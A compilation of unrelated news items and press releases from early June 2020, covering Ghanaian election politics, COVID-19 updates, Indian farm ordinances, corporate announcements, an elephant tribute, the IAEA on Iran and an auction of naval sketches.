Continue that outrage, but be outraged enough to be a change, she said. If you know someone thats in the position, help them with that legislation, help them change those policies, help point it out when you see it.

dj.simmons@hearstmediact.com
Mr Carlos Kingsley Ahenkorah, Member of Parliament for Tema West says former President Jerry John Rawlings' advice to Ghanaians to support the Electoral commission to deliver in the 2020 polls is a reiteration of what President Akufo-Addo has been telling Ghanaians.

He said the NDC founder's take was not even different at all in terms of wording.

This is what President Akufo-Addo has been telling Ghanaians that every Ghanaian has a responsibility to support the Electoral Commission to discharge its mandate, not work against it the way some opposition parties are doing, Mr. Ahenkorah said.

Speaking to the Ghana News Agency in Accra on Friday, The Tema West MP said the advice was in order, adding that for him, it was the most significant thing that former President Rawlings said in his address to commemorate the 41st anniversary of the June 4th uprising.

According to Mr. Rawlings, the EC was the fulcrum around which the country's democracy revolved and therefore ought to be jealously guarded.

"The Electoral Commission which is the fulcrum of our multi-party democracy must be supported and protected by all stakeholders; to ensure a free and fair election and a peaceful society," Mr. Rawlings said.

To ensure this, he called for dialogue and consultation among stakeholders.

The advice has been seen by many as a swipe at the opposition parties that were at loggerheads with the EC, over a new voters register.

NDC members, while even in court with the EC have been threatening that if the EC goes ahead to compile a new voter's register for the 2020 election, with the party's Deputy General Secretary, Peter Boamah Otokunor, associating the NDC with violent statements that the Chairman for the PNC, Bernard Mornah had made.

According to Mr. Mornah, they would resist all attempts by the EC and stop the EC officials from imposing a new Voter's register.

Former president Rawlings, who is the founder of the NDC, never made arguments for or against the new voters register. This is because it has never been lost on Mr. Rawlings that the compilation of voters' register is the mandate of the EC and not any individual or party. This is exactly what President Akufo-Addo has been saying all this while.

The management of elections is the responsibility of the EC and not anyone else. I hope that the opposition especially the NDC will listen to their own founder, and finally stop all the baseless agitations over the new voters' register that unnecessarily stoke tensions in the country.Mr. Ahenkorah, said.

---GNA
Source: Xinhua| 2020-06-05 17:56:51|Editor: huaxia

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JAKARTA, June 5 (Xinhua) -- The COVID-19 cases in Indonesia rose by 703 within one day to 29,521, and the death toll increased by 49 to 1,770, Achmad Yurianto, a Health Ministry official, said at a press conference here on Friday.

According to him, 551 more people have been discharged from hospitals, bringing the total number of recovered patients to 9,443.

The pandemic has spread to all the 34 provinces in the archipelagic country. However, no more positive cases were found in six provinces as of 12:00 p.m. local time on Friday.

The provinces are Aceh, Riau, Bengkulu, East Nusa Tenggara, West Sulawesi and Gorontalo.

Indonesian President Joko Widodo has called on his administration to pay more attention to the spread of the COVID-19 in three provinces with high number of cases, namely, East Java, South Sulawesi and South Kalimantan.

"I want the Task Force, ministries, military force and police force to concentrate on the three provinces with the high number of cases," the president said at a virtual limited cabinet meeting at the State Palace in Jakarta on Thursday.

As of Friday, East Java reported 141 new cases, bringing the total to 5,549 cases.

South Sulawesi recorded 54 new cases, with total at 1,776.

Meanwhile, South Kalimantan reported 71 new cases, increasing the total cases to 1,213.

Authorities have been conducting coronavirus tests in the affected areas and ordered the public to always wear masks to curb the spread.

The government is preparing for the so-called "new normal," under which the public would be allowed to resume their routines.

More than 300,000 military and police personnel have been posted in nearly 2,000 places, including shopping malls, traditional markets, and tourism spots in four provinces and 25 regencies or cities. Enditem
New Delhi, June 5 : President Ram Nath Kovind has promulgated two ordinances aimed at giving a boost to rural India by raising income of farmers, the Union Agriculture Ministry said on Friday.

These ordinances are the Farmers' Produce Trade and Commerce (Promotion & Facilitation) Ordinance 2020 and Farmers (Empowerment and Protection) Agreement on Price Assurance and Farm Services Ordinance 2020.

"After the announcement of the landmark decisions by the Government of India for reforms in the agricultural sector for raising the income of the farmers as part of the Aatmanirbhar Bharat Abhiyan, the President of India has promulgated the two ordinances with the aim of giving a boost to rural India for farmers engaged in agriculture and allied activities," a Ministry statement said.

Union Agriculture and Farmers Welfare Minister Narendra Singh Tomar on Friday wrote to all the Chief Ministers informing them of the Ordinances and solicited their cooperation in implementation of the reforms, it added.

He stressed the need for their continued support in the development and growth of the agriculture sector in the new reformed environment.
Rajesh Asnani By

Express News Service

JAIPUR: The horrific death of a pregnant elephant in Kerala has shaken mahouts and elephant owners in Jaipur. A special tribute was paid to the dead jumbo and its unborn calf by elephants and mahouts at Hathi Gaon or Elephant Village on the outskirts of Jaipur on Thursday.

The elephants and their mahouts offered flower petals and garlanded a picture of Soumya, the female elephant who was killed brutally by explosives planted in a pineapple.

After the unique tribute, the president of the Hathi Gaon Vikas Samiti, Babu Khan said, The merciless way in which the pregnant elephant was killed has shocked all mahouts here. For generations, we have taken care of elephants like our family members. These jumbos are very innocent animals and we feed our families through them. All of us have a lot of respect for elephants. Till now we have seen people only showering affection on these massive animals but now it seems the attitude of people in our society towards these Jumbos has also changed.

For centuries, elephants have been a part of Jaipurs royal history and in recent decades, elephant rides at the historic Amber Fort have been a prime tourist attraction of the Pink City. Despite losing all their income due to the lockdown over the corona pandemic, mahouts here have taken special care of the 103 elephants at Amber. They say that with no earnings in the past three months, it was tough to feed the Jumbos. On many days they ate only one meal but ensured that the jumbos were adequately fed.

An elderly mahout Aziz Khan remarked: The tragedy in Kerala has shamed the humanity. The way this royal animal was killed has shaken all of us in Jaipur. Whoever has committed this terrible crime should be punished so severely that nobody will ever ill-treat these friendly animals ever again.

Meanwhile, former CM Vasundhara Raje took to Twitter to express her shock and sadness at the brutal incident in Kerala. Raje tweeted, The horrific incident involving a pregnant Elephant in Kerala has left me deeply disturbed. Majestic & sacred, Elephants are held to be the reincarnation of Lord Ganesha. Symbolic of strength & determination, the treatment meted out to them by some unkind souls is shameful. The perpetrators deserve to be punished to the fullest extent of law. Raje had played a key role in setting up the Hathi Gaon or Elephant Village near the Amber Fort in Jaipur

Traditionally, India has been a nation that worships many animals, with the elephant in the form of Lord Ganesh being one of the most prominent Gods. But India has also seen numerous incidents that reflect a lack of compassion towards animals. However, the unique tribute from mahouts and elephant owners in Jaipur over the elephant tragedy in Kerala provides a ray of hope that humans can provide better treatment to animals.

ALSO SEE:
JEFFERSON CITY, Mo., June 04, 2020 (GLOBE NEWSWIRE) -- The Board of Directors of Hawthorn Bancshares, Inc. of Jefferson City, MO (HWBK) announced that at the Companys June 2, 2020 Annual Meeting of Shareholders, Philip D. Freeman, Kathleen L. Bruegenhemke and Jonathan D. Holtaway were re-elected as Class I directors to serve three-year terms expiring 2023.



Mr. Freeman has served as director of Hawthorn Bancshares since 1993 and is currently the owner of Freeman Properties JCMO, LLC in Jefferson City, Missouri. Ms. Bruegenhemke has served as director and as Chief Operating Officer of Hawthorn Bank since 2017. Mr. Holtaway has served as director since 2019 and is President of Ategra Capital Management, LLC.

Other members of the 7 member Board include Frank E. Burkhead, Kevin L. Riley, David T. Turner and Gus S. Wetzel, III. The Companys advisory directorate is composed of Charles G. Dudenhoeffer and Dr. Gus S. Wetzel, II.

Shareholders approved ratification of the appointment of KPMG, LLP as the Companys independent registered public accounting firm for the fiscal year ending December 31, 2020, the shareholder advisory vote on executive pay and a 1 year frequency on future executive compensation advisory voting.

About Hawthorn Bancshares

Hawthorn Bancshares, Inc., a financial-bank holding company headquartered in Jefferson City, Missouri, is the parent company of Hawthorn Bank of Jefferson City, Missouri with additional locations in the Missouri communities of Lee's Summit, Liberty, Springfield, Independence, Columbia, Clinton, Osceola, Warsaw, Belton, Drexel, Harrisonville, California, St. Louis and St. Robert.

Statements made in this press release that suggest Hawthorn Bancshares' or management's intentions, hopes, beliefs, expectations, or predictions of the future include "forward-looking statements" within the meaning of Section 21E of the Securities and Exchange Act of 1934, as amended. It is important to note that actual results could differ materially from those projected in such forward-looking statements. Additional information concerning factors that could cause actual results to differ materially from those projected in such forward-looking statements is contained from time to time in the company's quarterly and annual reports filed with the Securities and Exchange Commission.

Contact:

Stephen E. Guthrie

Chief Financial Officer

TEL: 573.761.6100 FAX: 573.761.6272

www.HawthornBancshares.com
Press release Regulated information 4 June 2020, 11 p.m. CEST

IRVINE, CA, and HERSTAL, BELGIUM  4 June 2020  MDxHealth SA (Euronext Brussels: MDXH) (the "Company" or "MDxHealth"), a commercial-stage innovative molecular diagnostics company, announces today in accordance with Article 14 of the Belgian Act of 2 May 2007 on the disclosure of important participations in issuers of which shares are admitted to trading on a regulated market and regarding miscellaneous provisions (the "Belgian Transparency Act"), that on 2 June 2020 it received the following notification of significant shareholdings as a consequence of the capital increase completed on 15 May 2020.

Scorpiaux BVBA notified MDxHealth that the aggregate number of shares with respect to which Scorpiaux BVBA can exercise voting rights passively crossed below the threshold of 5% of the outstanding shares and voting rights of MDxHealth. Notably, it follows from the notification by Scorpiaux BVBA that it owns 3,867,776 shares of MDxHealth, representing 4.26% of the 90,691,449 outstanding shares and voting rights of MDxHealth. The notification states that Scorpiaux BVBA is exclusively controlled by Bart Versluys.

For further information, reference is made to the information published on MDxHealth's website (http://www.mdxhealth.com/investors/shareholder-information).

Pursuant to the Belgian Transparency Act and the articles of association of the Company, a notification to the Company and the Belgian Financial Services and Markets Authority (FSMA) is required by all natural and legal persons in each case where the percentage of voting rights attached to the securities held by such persons in the Company reaches, exceeds or falls below the threshold of 3%, 5%, 10%, and every subsequent multiple of 5%, of the total number of voting rights in the Company.

About MDxHealth

MDxHealth is a multinational healthcare company that provides actionable molecular diagnostic information to personalize the diagnosis and treatment of cancer. The Company's tests are based on proprietary genetic, epigenetic (methylation) and other molecular technologies and assist physicians with the diagnosis of urologic cancers, prognosis of recurrence risk, and prediction of response to a specific therapy. The Company's European headquarters are in Herstal, Belgium, with laboratory operations in Nijmegen, The Netherlands, and US headquarters and laboratory operations based in Irvine, California. For more information, visit mdxhealth.com and follow us on social media at: twitter.com/mdxhealth, facebook.com/mdxhealth and linkedin.com/company/mdxhealth.

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For more information: MDxHealth info@mdxhealth.com

Important information

The MDxHealth logo, MDxHealth, ConfirmMDx and SelectMDx are trademarks or registered trademarks of MDxHealth SA. All other trademarks and service marks are the property of their respective owners.

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Re: Cannabis grow hearing ends

The City of West Kelowna has given 1st and 2nd reading for rezoning to allow for a massive 114,000 sq ft Pot Facility to be parachuted into a residential, care home, business retail and middle school area of West Kelowna. How did it happen?

Well tucked in the centre of all that is a small 10 acre Light Industrial (multi- tenant) Park. When pot production and retail sales became legal in 2018/2019 the old Bylaw pertaining to Medicinal Cannabis production was revamped and upgraded from the rules created in 2014. At that time a smell buffer for the small 3 to 8,000 sq ft bays producing Medicinal Marijuana was deemed to be 150 meters from the residential, schools and care homes.

During the revisions the planning department mistakenly did not look at the issues arising out of huge pot production exhaust system. Had they looked they would have realized that these scaled up facilities needed a buffer zone of one to five kms from these sorts of integrated communities.

The staff reports painted a glowing picture, similar to that the developer set out, rather than providing the Council with the facts on nationwide violations of grow Licenses resulting in suspensions by Health Canada,

They did not bring up the thousands of noxious odour complaints, often described as skunk like, putrid, foul smells. Nor did they let council know that some of those complaints covered a radius of up to 5 kms!

They did not reveal to Council that the City will have to deal with the complains by saying Health Canada regulates the odour level. True but Health Canada, website refers all nuisances and odour complaints to the municipal Bylaw enforcement.

They also did not reveal the numerous problems of Illegal Activities and this industry does seem to have a lot, are also directed to the Municipal Police for resolution.

So the developer gets a sweetheart deal - pot producers for tenants shielded from future Council scrutiny. The City of West Kelowna gets the complaint bills, the immediate community gets the stink, the residents and businesses lose property rights and value, the city gets the reputation of the old pulp mill like stench  a great tourist repulsion for the Chamber of Commerce to fight.

Council must defeat this motion.

Doug Waines, West Kelowna
Tripoli, Libya (PANA) - The Libyan ministry of foreign affairs of the government of national accord (GNA) Friday underlined the need to extend its control and security all over the Libyan territory to manage the political process
With restrictions being gradually eased during Unlock 1 phase, the area of Kolkatas containment zones is shrinking as the city administration allows more relaxations for the residents.

Earlier an entire campus or an apartment was tagged as a containment zone after any resident tested positive, but with the new rules coming in, only the tower in which the patient resides would be declared a containment zone.

In case there are multiple patients from the same campus and they reside in different blocks or towers, then the entire campus would be identified as a containment zone, said Firhad Hakim, chairperson of the board of administrators that presently run the Kolkata Municipal Corporation.

For Coronavirus Live Updates

Similar relaxations are also being allowed in slums that would result in containment of pockets therein instead of the entire slum area. Slums have common toilets and water sources.

Only those households that use the toilet or the water source used by the patient will now be identified as containment zones, he added.

More than one third of the Covid-19 cases in West Bengal have been reported from Kolkata. While West Bengal has registered a total of 6,876 cases, Kolkata has registered 2,488 of those. Out of 283 deaths caused by Coved-19, 182 have been reported from Kolkata alone.

The HT Guide to Coronavirus COVID-19

The union government has recently stressed that the boundary of containment zones should be based on factors like mapping of cases and contact-tracing of Covid-19 patients and their spread.

Union cabinet secretary had also held a video conference with municipal commissioners and district magistrates of 13 cities including Kolkata, Delhi, Mumbai and Chennai in this regard in the last week of May.

An area will automatically come out of the containment zone marked in red and enter the green zone if no positive case surfaced in two weeks, said a top official of the KMC.

The union government, however, has made it clear that the resumption of some activities will be done in phases. Enough space has been left for states to tweak the relaxations as per the conditions prevailing in their jurisdictions.

A senior official of the citys civic body also said that random screening tests  Oximetre tests - would be carried out in Kolkatas municipal markets.

Also we have seen that even though the spread of coronavirus in slums has been somewhat contained, over the past few days most of the cases are being reported from apartments, campuses and individual houses, said Atin Ghosh, a member of the KMCs board of administrators.
Nearly 200 MBA and EMBA graduates completed their onsite thesis defenses on May 19-23, including seven graduates defending online. Nearly 300 MA graduating students in economics, management, finance and financial media participated in their onsite defenses on May 31 and June 1.

Just a month ago, PHBS welcomed back its MA graduating students. School leadership and staff worked around the clock to ensure smooth daily operation and a virus-free campus. PHBS also distributed health kits consisting of face masks, disinfection supplies and epidemic prevention manuals to students on campus.

For onsite defense, PHBS has strictly implemented the provisions of Peking University and Shenzhen regarding epidemic prevention and control, formulating an emergency plan and arranging students to attend their defenses on site in different batches. Students and defense committee members are required to wear masks and keep safe distances during the defense.

As the pandemic made it impossible for overseas international graduates to return to the campus on schedule, around 30 students from 18 countries and regions including the United States, Germany, Korea, Australia, Brazil, Pakistan and Singapore, will defend their theses remotely at the end of June. However, PHBS administration underscored that those participating online will have to meet the same evaluative standards as those defending in person, and the entire process will be recorded to ensure quality.

By Annie Jin

Edited by Priscilla Young

SOURCE Peking University HSBC Business School
Covid-19 testing will cease at the Community Testing Centre situated at the Lakeside Camping and Caravan Centre, Ballyshannon, from Friday, 5th June, 2020. Persons requiring testing will be seen at the Community Testing Centres in ODonnell Park, Letterkenny, Co Donegal or in Finisklin, Sligo. Both centres have capacity to deal with the small number of referrals for testing who have attended the Ballyshannon Testing Centre and have capacity to deal with any increases in the demand for testing if required. Waiting times from referral to testing will not be affected with same day or next day testing being provided to the majority of people referred.

The decision to close the Ballyshannon Community Testing Centre has been taken due to the reduced demand for testing. Ten tests were provided at the Ballyshannon Testing Centre in the first four days of June. There is also a requirement to have HSE staff, currently deployed to testing, available for the planning and provision of non-COVID services as the HSE prepares for a resumption of services in line with the easing of restrictions and in keeping with Public Health recommendations.

The HSE acknowledges the dedication and commitment of its staff who have been involved in the delivery of testing in Ballyshannon since March, 2020. HSE staff have worked outside of their normal roles and have been flexible throughout in working atypical hours and days in all sorts of weather conditions, to provide a responsive and timely service. HSE support services such as ICT, Estates, Procurement and Caretaking services have also been of significant support in the provision of the testing service.

The HSE also acknowledges the incredible support it received from the Lakeside Camping and Caravan Centre who provided its site and premises for the Testing Centre and the Defence Forces which provided tents for testing, assistance with traffic management, security and catering. Appreciation is also extended to Local Link, the Civil Defence, Ballyshannon Chamber of Commerce and the local community for their assistance in the establishment and running of the Testing Centre over the past few months.

The HSE work to prevent and manage COVID-19 across its services continues along with support from other lead agencies such as the Gardai and Local Authorities, third level colleges, community and voluntary agencies and local businesses. This work has been critical in the fight against COVID-19 in our communities, supporting some of the most vulnerable populations and protecting the health service. The actions taken have reduced the impact of COVID-19 on all our population.

Public Health advice is that it is vital that as a country we keep going with the actions that help us to stay safe and in particular social distancing (2 metres apart) and practising infection prevention and control measures such as hand hygiene and respiratory etiquette. These measures are going to be part of all of our lives for the foreseeable future and we all need to adhere to them in our daily interactions with family, friends and colleagues. The HSE is hopeful the country will continue on the trajectory it has been following with the reduction in the number of positive Covid-19 cases in the North West and across the country.
Vancouver, British Columbia--(Newsfile Corp. - June 5, 2020) - Oculus VisionTech Inc. (TSXV: OVT) (OTCQB: OVTZ) (FSE: USF1) (the "Company" or "Oculus") , an emerging data security provider, is pleased to report, further to the Company's news release of April 20, 2020, that the Company has completed the acquisition of 100% of the shares of OCL Technologies Corp. www.ocltechnologies.com (hereafter "OCL"), a Delaware Corporation, with its head office located in the technology hub of San Diego, California. OCL is specifically focused on providing enterprise organizations and individuals with highly-secure data privacy tools that provide sustained and continuous global regulatory compliance of data subject rights, while independently protecting all parties. With the burgeoning growth of privacy regulation worldwide coupled with strict regulatory oversight, companies are dedicating significant resources to achieve and maintain compliance. In the past two years alone, initiatives such as the EU GDPR (General Data Protection Regulation effective May 25, 2018) as well as the CCPA (California Consumer Privacy Act passed June 28, 2018 and effective January 1, 2020) have mandated privacy rights and data protection for entities and individuals contemplated within their legislative frameworks. In addition to these, there are additional data privacy legislative initiatives on-going in Asia and both North and South America which will require data protection solutions. Oculus believes that the acquisition of OCL is a tremendous fit within its core objective of developing robust cutting edge technologies that address focused customer data protection requirements on a global scale.

"We are very pleased today to be able to report that we have closed the acquisition of OCL Technologies Inc., an emerging data security provider, based in the technology hub of San Diego, California . This acquisition will enable the Company to participate in what has been described by Industry followers as a large growing global marketplace requiring data security solutions. The acquisition supplements the Company's DPS document protection system which will allow the Company the opportunity to further develop leading edge cyber security and data protection products. We look forward to reporting on the progress of the same in due course," stated Rowland Perkins, CEO of the Company.

About OCL

OCL Technologies www.ocltechnologies.com, is a startup specifically focused on providing enterprise organizations and individuals with highly-secure data privacy tools that provide sustained and continuous global regulatory compliance of data subject rights. Headquartered in San Diego, California, OCL Technologies was founded by industry veteran storage technology experts and is operated by an experienced management team.

Learn more about OCL Technologies at www.ocltechnologies.com.

About Oculus

Oculus, www.ovtz.com, is a cyber security company that creates systems for document and multimedia protection to combat tampering and digital piracy. Utilizing proprietary technology originally created for embedding digital watermarking video-on-demand (VOD) systems, Oculus has created a Cloud-based document protection system based on embedded digital watermarking. The Company's systems, services and delivery solutions include document, still image and motion video digital watermark solutions and documents, photographs (still image) and video content protection. Headquartered in Vancouver, British Columbia, Canada, Oculus was founded by experts in image processing and is operated by an experienced management team.

Learn more about Oculus at www.ovtz.com or follow us on Twitter (https://twitter.com/OculusVT) or Facebook (https://www.facebook.com/Oculus

ON BEHALF OF THE BOARD OF DIRECTORS

Anton Drescher

Chief Financial Officer and Director

For further information, contact:

Anton Drescher

Telephone: (604) 685-1017

Fax: (604) 685-5777

Email: ajd@ovtz.com

Website: http://ovtz.com/

TSXV: https://tmxmatrix.com/company/OVT

US OTC Markets (OTCQB): https://www.otcmarkets.com/stock/OVTZ/security

Berlin Borse: https://www.boerse-berlin.com/index.php/Shares?isin=US67575Y1091

Frankfurt Borse: https://www.boerse-frankfurt.de/equity/oculus-visiontech

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

This news release contains forward-looking statements and information within the meaning of applicable securities laws (collectively, "forward-looking statements"), including the United States Private Securities Litigation Reform Act of 1995. All statements in this news release which are not purely historical are forward-looking statements and include any statements regarding beliefs, plans, expectations or intentions regarding the future. Such forward-looking statements include, among others, statements as to the intended uses of the proceeds received from the Offering. Often, but not always, forward-looking statements can be identified by words such as "pro forma", "plans", "expects", "may", "should", "budget", "schedules", "estimates", "forecasts", "intends", "anticipates", "believes", "potential" or variations of such words including negative variations thereof and phrases that refer to certain actions, events or results that may, could, would, might or will occur or be taken or achieved. Actual results could differ from those projected in any forward-looking statements due to numerous factors including risks and uncertainties relating to, among others, the change of business focus of the management of Oculus, the inability of Oculus to pursue its current business objectives, the ability of the Company to obtain any required governmental, regulatory or stock exchange approvals, permits, consents or authorizations required, including TSXV final acceptance of the Offering and any planned future activities, and obtain the financing required to carry out its planned future activities. Other factors such as general economic, market or business conditions or changes in laws, regulations and policies affecting the Company's industry, may also adversely affect the future results or performance of the Company. These forward-looking statements are made as of the date of this news release and Oculus assumes no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those projected in these forward-looking statements. Although Oculus believes that the beliefs, plans, expectations and intentions contained in this news release are reasonable, there can be no assurance those beliefs, plans, expectations, or intentions will prove to be accurate.

Investors should consider all of the information set forth herein and should also refer to the risk factors disclosed in Oculus' periodic reports filed from time-to-time with the United States Securities Exchange Commission and Canadian securities regulators. These reports and Oculus' public filings are available at www.sec.gov in the United States and www.sedar.com in Canada.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/57378
Source: Xinhua| 2020-06-06 02:53:13|Editor: huaxia

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BEIJING, June 6 (Xinhua) -- Chinese President Xi Jinping said Friday that China will continue to offer firm support for Costa Rica's fight against COVID-19 as the coronavirus disease outbreak remains serious in Latin America.

In a phone conversation with Costa Rican President Carlos Alvarado, Xi said China will provide as much assistance as its capacity allows for the Latin American country in line with the latter's needs.

Since the onset of the COVID-19 outbreak, Costa Rica has offered to provide medical supplies to China, Xi pointed out, adding that China will bear this friendship in mind.

China regards Costa Rica as an important partner in carrying out anti-epidemic cooperation in Latin America, and has donated supplies of epidemic prevention to Costa Rica and held video conferences to share experience in fighting the epidemic, Xi said.

China will continue to firmly safeguard international fairness and justice as well as the legitimate rights of small and medium-sized developing countries and stands ready to work with Costa Rica to strengthen international anti-epidemic cooperation, defend the efforts of developing countries to combat the epidemic, and maintain global public health security, Xi said.

Xi stressed that Costa Rica is a trustworthy strategic partner of China, and bilateral relations have developed smoothly since the two countries established diplomatic ties, with fruitful cooperation results achieved in various areas.

The pandemic has brought some negative impacts on economic and trade cooperation as well as personnel exchanges between the two countries, Xi said, adding that China's policy of promoting long-term friendly cooperation between the two sides will stay the same, and its position of supporting Costa Rica's economic development and improving people's livelihood will not change.

The two sides need to continuously support each other's core interests and major concerns, jointly plan post-epidemic cooperation between the two sides, and push forward practical cooperation under the framework of the joint construction of the Belt and Road, Xi said.

Xi said he believes that bilateral relations will surely see new and greater development after the joint fight against the coronavirus disease.

For his part, Alvarado said since Costa Rica and China established diplomatic ties 13 years ago, the two sides have enjoyed increasingly profound friendship and their mutually beneficial cooperation has been expanding continuously.

Costa Rica firmly adheres to the one-China principle and stands ready to work with China to strengthen cooperation in the fields of public health, infrastructure and culture among others, act as a bridge and gateway for China to engage with Central America and promote the relationship between Costa Rica and China to a new stage, he said.

China is a great country, said Alvarado, adding that Costa Rica admires Xi's experience in governing the country and also his announcement that China's COVID-19 vaccine would be made a global public good.

Appreciating China's firm support for Costa Rica in its fight against the pandemic, Alvarado said that Costa Rica stands ready to work with China to support multilateralism, jointly deal with global challenges including climate change, and promote world peace and development. Enditem
The United Nations' atomic watchdog said on June 5 that Iran has continued to increase its stockpiles of enriched uranium far beyond the limits set in the 2015 nuclear deal with world powers.

Separately, the International Atomic Energy Agency (IAEA) raised serious concerns over Iran's refusal to let international inspectors investigate possible past nuclear activities at two locations.

The United States pulled out of the accord in May 2018 and reimposed crippling sanctions that have battered the Iranian economy.

In response, Tehran has been progressively breaking the restrictions laid down in the deal, known as the Joint Comprehensive Plan of Action, or JCPOA, saying that it can reverse them if the remaining parties to the deal -- Britain, France, Germany, China and Russia -- increase economic incentives.

As of May 20, Irans total stockpile of low-enriched uranium amounted to 1,571.6 kilograms, nearly eight times more than the limit set by the 2015 nuclear deal, the IAEA said in a report on June 5.

Iran has been open about the violations and continues to allow IAEA inspectors access to facilities to monitor their operations.

However, the Vienna-based agency said in a separate report that for more than four months Iran has denied access to two of three locations it had identified as sites where the country possibly stored undeclared nuclear material or undertook nuclear-related activities without declaring them to international observers.

The IAEA said that the third location "underwent extensive sanitization and levelling in 2003 and 2004" and there would be no verification value in inspecting it.

Activities at all three sites are thought to have taken place before the nuclear pact with world powers was inked.

With reporting by AP, AFP, and dpa
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A fascinating album of sketches made by British naval officer while exploring the world in the mid-19th century have been unearthed.

Rear Admiral Marcus Lowther served on board HMS Portland which travelled to China, Hong Kong and the Pacific Islands between 1842 and 1853.

He stopped off at the Pitcairn Islands - where some of the mutineers of the Bounty sought refuge 60 years earlier - and sketched the natives.

One of those is believed to be the granddaughter of mutineer John Adams, whose house Lowther visited, staying with Adam's son.

Lowther also documented historic moments - notably the Battle of Malacca in 1845 - and the capture of Brunei the following year.

Natives approach a crew of explorers at Easter Island. The caption under the top image reads: 'Natives of Easter Island boarding the "Portland's" boats'. This image is one of the few depictions of Lowther's crew among his sketches in this collection

A watercolour by Rear Admiral Marcus Lowther, drawn during his 11 years at sea where he travelled to China, Hong Kong and the Pacific Islands between 1842 and 1853. This sketch shows a home overlooking a bay, with two natives, one riding a horse, making their way down a road. In the distance, a small boat travels on the water

Pictured: The home of John Adams on Pitcairn Island. John Adams was the last survivor of the Bounty mutineers, who turned against their captain of the small merchant ship - The Bounty - in 1789

Pictured: A drawing of the home of George Adams, son of mutineer John Adams. In the foreground, a young girl believed to be the granddaughter of John Adams

Left: Drawings of Pitcairn Island showing, top, a church on the island and, centre, the grave of John Adams. John Adams was the last survivor of the Bounty mutineers, and died in 1829. Right: Sketches of the Chincha Islands, a group of small islands around 13 miles off the coast of Peru

In total, his collection of 166 original watercolours and drawings have emerged for sale with London based Forum Auctions, where they are expected to fetch 15,000.

During his time in the Far East Lowther painted many junks, temples, landmarks and landscapes, as well as the local population.

He produced other studies in Malaysia, Borneo and the Phillipines before venturing to the Pacific Islands.

After a stop-off in the Marquesas Islands, he visited the Pitcairn Islands, drawing the house and grave of Adams who was the last survivor of the 1790 Mutiny on the Bounty.

Pictured: A watercolour of a place of worship in Chile as locals stand on a path leading through the small town

Portraits of the locals in the Chilean town, wearing ponchos and headdresses. The man on the right wears sandals with what appear to be spurs attached

This sketch appears to show a river or sea front from on side, with houses and boats on the other. Lowther has taken notes against the different boats, explaining some background behind each one. Under one, he has written 'our boat from which the sketch was taken', indicating he has drawn the boat he was on at the time into the picture

The infamous episode saw disaffected crewmen turn on the autocratic Captain William Bligh, forcing him from the ship which was transporting breadfruit plants from Tahiti to the West Indies.

Nine of the mutineers, along with the native Tahitian men and women who were with them, settled on the group of four volcanic islands after burning the vessel.

Adams, who married a Tahitian woman called Teio, died in 1829 and a young girl stood in front of his home could be his granddaughter.

Pictured: A watercolour of the Aconcagua mountains in Argentina, as farmers lead their cattle down a hill, pulling a cart

Pictured: A watercolour of a house in the Aconcagua mountains in Argentina, as farmers stand outside with horses and cattle that are carrying goods

A village scene in Santiago, Chile, as farm workers labour outside. Some ride horses while others tend to cattle

A coloured sketch of a horse in Santiago, Chile, as it grazes

Pictured: A sketch of Victoria Fort on Vancouver Island, Canada in June 1851. A small boat with two people in, what looks like a mother and a young child, rows past

Depictions of the native people of Vancouver island. Some are pictured in boats, while others are drawn in portrait format. The caption on the middle image reads 'Indians at Vancouver Island alongside HMS Portland, 1851'

Left: Sketches from Marquesas, including pictures of native's homes, people rowing a boat down a river, and a woman swimming with a bundle of coconuts. Right: A native woman on Easter island, depicted carrying a plank of wood

A watercolour showing the natives of Easter Island in 1853. The pair are seen on the shore talking as one sits on a canoe

More watercolours from Easter Island. The top picture shows a hut on the island. In the bottom left, a native man canoes down a river. The bottom middle sketch shows a side-on portrait of an Easter Islander, while bottom-right shows a native swimming with a float

Pictured: A sketch by Lowther of a native washing girl whose name he has written down - Santos Sanchez

On the final leg of his voyage, Lowther stopped off in Chile, Argentina and Peru - before travelling up the west coast of America to Vancouver Island.

Here, he painted portraits of native Indian chiefs including 'King Freezy' and 'King George'.

The 14ins by 10ins album of artwork has been consigned for sale by the son of a west country book seller who had owned them since the 1950s.

Its previous provenance is unknown.

Left: A large trading junk - a type of Chinese sailing ship - moored in Whampoa, China. Right: A tattooed Marquesas native man sits on a log (top), while the middle and bottom sketches show houses and a camp

A picture of a number of ships moored off the Chincha Islands, as a group of three men row their small boat in the foreground

A ship in the water in the Chincha Islands off Peru. Right: A large trading junk - a type of Chinese sailing ship - moored in Whampoa, China

Pictured: Homes of people on the Marquesas Islands, a group of volcanic islands in French Polynesia in the southern Pacific Ocean

Pictured: Portraits on the people of the Marquesas Islands. The middle picture's caption says that the tattooed man is the chief of an island

Rupert Powell, specialist at Forum Auctions, said: 'This is a fascinating and charming album covering the extensive voyages of a mid-19th century naval officer.

'It comprehensively documents both his encounters with remote indigenous communities, and the numerous locations that he travelled through.

'The long tradition of naval survey and natural history sketches produced by naval officers goes back to Captain Cook's first voyage, and the practice appears to have been particularly prevalent on HMS Portland.

A sketch of Cape Horn, a rocky headland on Hornos Island, in southern Chile's Tierra del Fuego archipelago

A watercolour of a local Chilean farmstead with a donkey. To the left, a small hut with a Chilean flag

Left: A sketch Santa Margarita silver mines, and a person with a horse overlooking them. Right: A book made up of Admiral Marcus Lowther's sketches, which will go on auction on June 9, 2020. The 14ins by 10ins album of artwork has been consigned for sale by the son of a west country book seller who had owned them since the 1950s

'While on HMS Portland Lowther undertook numerous intimate studies of the people of the Marquesas Islands and Easter Islands, many of whom are adorned with tattoos and seen interacting with the ship's crew.'

Lowther, who was a lieutenant in his 20s and early 30s during the voyage on the Portland, later commanded the HMS Dart on the 1868 to 1870 expedition of the west coast of Africa, North America and West Indies.

He died aged 88 in 1908. The sale takes place on June 9.
A new Saturday morning marketplace will open this weekend at the Trentwinds International Centre on Lansdowne Street East, run by at least one former member of the Morrow Park farmers market.

Every member of the board of the Morrow Park market resigned in April, including longtime president Cindy Hope and vice-president Mark Jones, with plans to open a new market nearby.

On Thursday the new Farmcrest Marketplace was announced in a press release.

The release has Mark Jones stating that hes grateful to be able to offer a new marketplace that will help farmers and local businesses thrive while providing residents and tourists access to fresh local food.

Jones could not be reached for comment on Thursday. Neither could any of the other former board members of the Morrow Park market.

